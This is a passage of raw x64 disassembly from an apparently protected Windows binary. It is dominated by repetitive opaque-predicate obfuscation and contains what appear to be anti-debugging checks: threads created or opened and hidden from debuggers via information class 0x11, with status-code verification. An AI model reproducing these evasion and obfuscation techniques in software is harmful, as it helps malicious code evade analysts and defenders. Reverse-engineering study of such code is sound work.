movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, dword [rbp - 0x74]
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, edi
mov dword [r14 + rax*4 + 4], edx
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051f8e
mov eax, dword [rsp + 0x60]
sub eax, 8
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051d87
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140051d87
mov edi, esi
mov dword [rbp - 0x5c], esi
jmp 0x140051e1c
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051e19
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si edi, xmm0
mov dword [rbp - 0x5c], edi
jmp 0x140051e1c
mov edi, dword [rbp - 0x5c]
mov eax, dword [rsp + 0x60]
sub eax, 8
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051ed4
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140051ed4
mov dword [rbp - 0x60], esi
jmp 0x140051f64
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140051f64
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si eax, xmm0
mov dword [rbp - 0x60], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, dword [rbp - 0x60]
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, edi
mov dword [r14 + rax*4 + 4], edx
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140052266
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005206e
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14005206e
mov edi, esi
mov dword [rbp - 0x64], esi
jmp 0x140052103
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140052100
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si edi, xmm0
mov dword [rbp - 0x64], edi
jmp 0x140052103
mov edi, dword [rbp - 0x64]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rbp - 0x80], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400521ac
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400521ac
mov dword [rbp - 0x68], esi
jmp 0x14005223c
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005223c
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x80]
cvttsd2si eax, xmm0
mov dword [rbp - 0x68], eax
movsxd rax, dword [rsp + 0x60]
mov r8d, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
and r8d, dword [rbp - 0x68]
add r8d, r8d
mov edx, dword [r14 + rax*4 + 4]
movsxd rax, dword [rsp + 0x60]
sub edx, r8d
add edx, edi
mov dword [r14 + rax*4 + 4], edx
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cmp eax, 1
jb 0x1400513c4
xor r15d, r15d
mov byte [r14], 1
lea rcx, [0x140000000]
mov eax, dword [r14 + 4]
mov rax, qword [rcx + rax*8 + 0x87c3f0]
mov rcx, qword [rsp + 0x68]
call rax
mov r8, qword gs:[0x30]
xor edx, edx
mov r8d, dword [r8 + 0x3e0]
lea ecx, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov r12, rax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140012bf0
movaps xmm9, xmmword [rsp + 0x230]
xor edx, edx
movaps xmm8, xmmword [rsp + 0x240]
movaps xmm7, xmmword [rsp + 0x250]
movsx ecx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005252b
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, r12
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400523ca
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400523ca
mov edi, esi
jmp 0x14005245e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005245a
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x14005245e
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
mov r13, qword [rsp + 0x70]
xor edx, edx
movsx ecx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x140052530
mov rax, qword gs:[0x30]
xor r9d, r9d
xor r8d, r8d
mov rcx, r12
mov rbx, qword [rax + 0x3d8]
lea edx, [r9 + 0x11]
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 0x3e0]
mov rax, qword gs:[0x30]
mov qword [rax + 0x3d8], r15
mov rax, qword gs:[0x30]
mov qword [rax + 0x3e0], r15
mov rax, qword [r13]
call rax
mov rax, qword gs:[0x30]
mov rcx, r12
mov qword [rax + 0x3d8], rbx
mov rax, qword gs:[0x30]
mov qword [rax + 0x3e0], rdi
mov rax, qword [r13 + 0x18]
call rax
jmp 0x140052530
mov r13, qword [rsp + 0x70]
mov rax, qword [r13 + 8]
lea rcx, [rbp + 0x6c]
mov r14d, 1
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp + 0x40]
lea r8, [rbp + 0x68]
mov r9d, r14d
lea edx, [r14 + 0x10]
call rax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140052985
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005263f
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14005263f
mov r14d, esi
jmp 0x1400526d5
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400526d0
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
jmp 0x1400526d5
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r14d
test eax, eax
je 0x14005297f
mov rax, qword gs:[0x30]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rbx, qword [rax + 0x3d8]
lea edx, [r9 + 0x11]
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 0x3e0]
mov rax, qword gs:[0x30]
mov qword [rax + 0x3d8], r15
mov rax, qword gs:[0x30]
mov qword [rax + 0x3e0], r15
mov rax, qword [r13]
call rax
mov rcx, qword gs:[0x30]
mov r14d, eax
mov qword [rcx + 0x3d8], rbx
mov rcx, qword gs:[0x30]
mov qword [rcx + 0x3e0], rdi
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005297f
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cmp r14d, 0xc0000008
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov rax, r15
cvtdq2pd xmm0, xmm0
setne al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140052892
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140052892
mov r14d, esi
jmp 0x140052928
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140052923
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
jmp 0x140052928
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
mov ecx, dword [rbp - 0x78]
imul eax, r14d
mov r14d, 1
movzx ecx, cl
test eax, eax
cmovne ecx, r14d
mov dword [rbp - 0x78], ecx
jmp 0x140052985
mov r14d, 1
mov qword [rsp + 0x28], r15
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r15, rax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400531b0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, r15
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140052a99
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140052a99
mov edi, esi
jmp 0x140052b2d
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140052b29
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x140052b2d
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x1400531b0
mov rax, qword [r13 + 8]
lea rcx, [rbp + 0x6c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x68]
mov rcx, r15
mov r9d, r14d
mov edx, reloc.WS2_32.dll_recvfrom
call rax
mov edi, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140052d8d
test edi, edi
js 0x140052be8
cmp byte [rbp + 0x68], 0
jne 0x140052bf6
cmp dword [rbp + 0x6c], 1
jne 0x140052bf6
cmp edi, 0xc0000004
je 0x140052bf6
xor eax, eax
mov edx, eax
jmp 0x140052bf9
mov rdx, r14
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140052caa
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140052caa
mov edi, esi
jmp 0x140052d3e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140052d3a
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x140052d3e
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
movzx ecx, byte [rbp - 0x78]
imul eax, edi
test eax, eax
cmovne ecx, r14d
mov byte [rbp - 0x78], cl
mov rax, qword [r13]
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
lea edx, [r9 + 0x11]
call rax
mov edi, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
